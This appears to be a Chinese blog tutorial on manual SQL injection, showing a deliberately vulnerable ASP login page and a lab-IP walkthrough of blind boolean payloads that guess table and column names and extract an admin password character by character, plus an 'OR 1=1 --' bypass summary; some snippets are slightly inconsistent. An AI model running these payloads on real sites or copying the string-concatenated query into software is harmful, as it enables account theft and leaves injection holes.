SQL手工注入测试

login.html
<html>
<head><title>请登录</title></head>
<body>
 <div align="center">
   <form action="login.asp" method="post">
          请输入密码:
          <br><br>
          用 户:<input name="name" type="textbox">
          <br>
          密 码:<input name="pass" type="password">
          <br>
          <input value="登录" type="submit">
  </form>
 </div>
</body>
</html>

login.asp
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>登录</title>
</head>
<body>
<%
inname=Request("name")
inpass=Request("pass")

set conn=server.createobject("ADODB.CONNECTION")
conn.open "Provider=microsoft.jet.oledb.4.0; Data Source="+server.mappath("/data.db")
sqlstr="SELECT * FROM data Where uname='" & inname & "'"

select * from data where name = 'admin' and 1=1 and 'a'='a'
Set rs=conn.Execute(sqlstr)

if inpass=rs("pass") then	
  response.write("<h3>登录成功!</h3>")
  response.write("用户编号:" & rs("uid") & "<br>")
else
  response.write("登录失败!")
end if

Set rs=Nothing
conn.close
%>
</body>
</html>

参数: http://192.168.10.1/login.asp?pass=test&name=test

原SQL语句:SELECT * FROM data Where uname='test'

1.构造能执行的SQL语句

http://192.168.10.1/login.asp?pass=test&name=test' and 1=1 and 'a'='a
相当于执行SQL语句为SELECT * FROM data Where uname='test' and 1=1 and 'a'='a'
如果执行成功,1=1就是我们可能执行的SQL语句

2.猜表名

将1=1替换 (select count(*) from data)>0
http://192.168.10.1/login.asp?pass=test&name=test' and (select count(*) from data)>0 and 'a'='a
相当于执行SQL语句
SELECT * FROM data Where uname='test' and (select count(*) from data)>0'

3.猜用户名字段

(select count(name) from data)>0


4.猜密码字段

(select count(pass) from data)>0


5.猜密码长度

//判断密码长度大于1

(Select count(*) from data where name='admin' and len(pass)>1)>0  

//判断密码长度大于10

(Select count(*) from data where name='admin' and len(pass)<10)>0


6.逐位猜密码

//猜测第1位密码是否为数字
(Select count(*) from data where uname='admin' and mid(pass,1,1)<'9')>0

//猜测第1位密码是否为字母

(Select count(*) from data where uname='admin' and mid(pass,1,1)>'a')>0

//猜测第1位密码是否等于c

(Select count(*) from data where uname='admin' and mid(pass,2,1)='c')>0


SQL注入是一种常见的web应用程序漏洞攻击方式,攻击者可以通过利用这个漏洞来获取敏感信息、修改数据或者执行恶意操作。下面是手工测试SQL注入漏洞的一般步骤: 1. 确认目标网站是否存在SQL注入漏洞:在输入框中输入一些特殊字符,比如单引号、双引号、分号等等,如果页面返回了错误信息,那么就有可能存在注入漏洞。 2. 确认注入点的位置:在输入框中输入一些单引号,如果返回了错误信息,那么就可以确定注入点在这里。如果没有返回错误信息,可以尝试在其他输入框中输入单引号,看看是否会引起错误。 3. 确认注入点的类型:注入点可以是数字、字符串、布尔值等等。可以在注入点处输入一些特殊字符,比如单引号、双引号、分号等等,看看页面返回的是什么类型的错误信息。 4. 判断数据库类型:不同的数据库有不同的注入方式,需要先确定目标网站使用的是哪种数据库,可以通过一些特殊字符来判断,比如在注入点处输入 || 1=1 等等。 5. 构造注入语句:根据注入点的类型和数据库类型,构造相应的注入语句,比如 SELECT * FROM users WHERE username='admin' AND password='123456' 可以被注入为 SELECT * FROM users WHERE username='admin' AND password='' OR 1=1 -- '。 6. 提取数据:通过注入语句提取数据,比如 SELECT * FROM users WHERE username='admin' AND password='' OR 1=1 -- ' 可以提取所有用户的数据。可以通过不断的试错和尝试,提取出敏感信息或者执行恶意操作。 总之,手工测试SQL注入漏洞需要具备一定的技术和经验,需要不断地学习和尝试才能够掌握。同时,需要注意安全,不要在未经授权的情况下攻击他人的网站。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值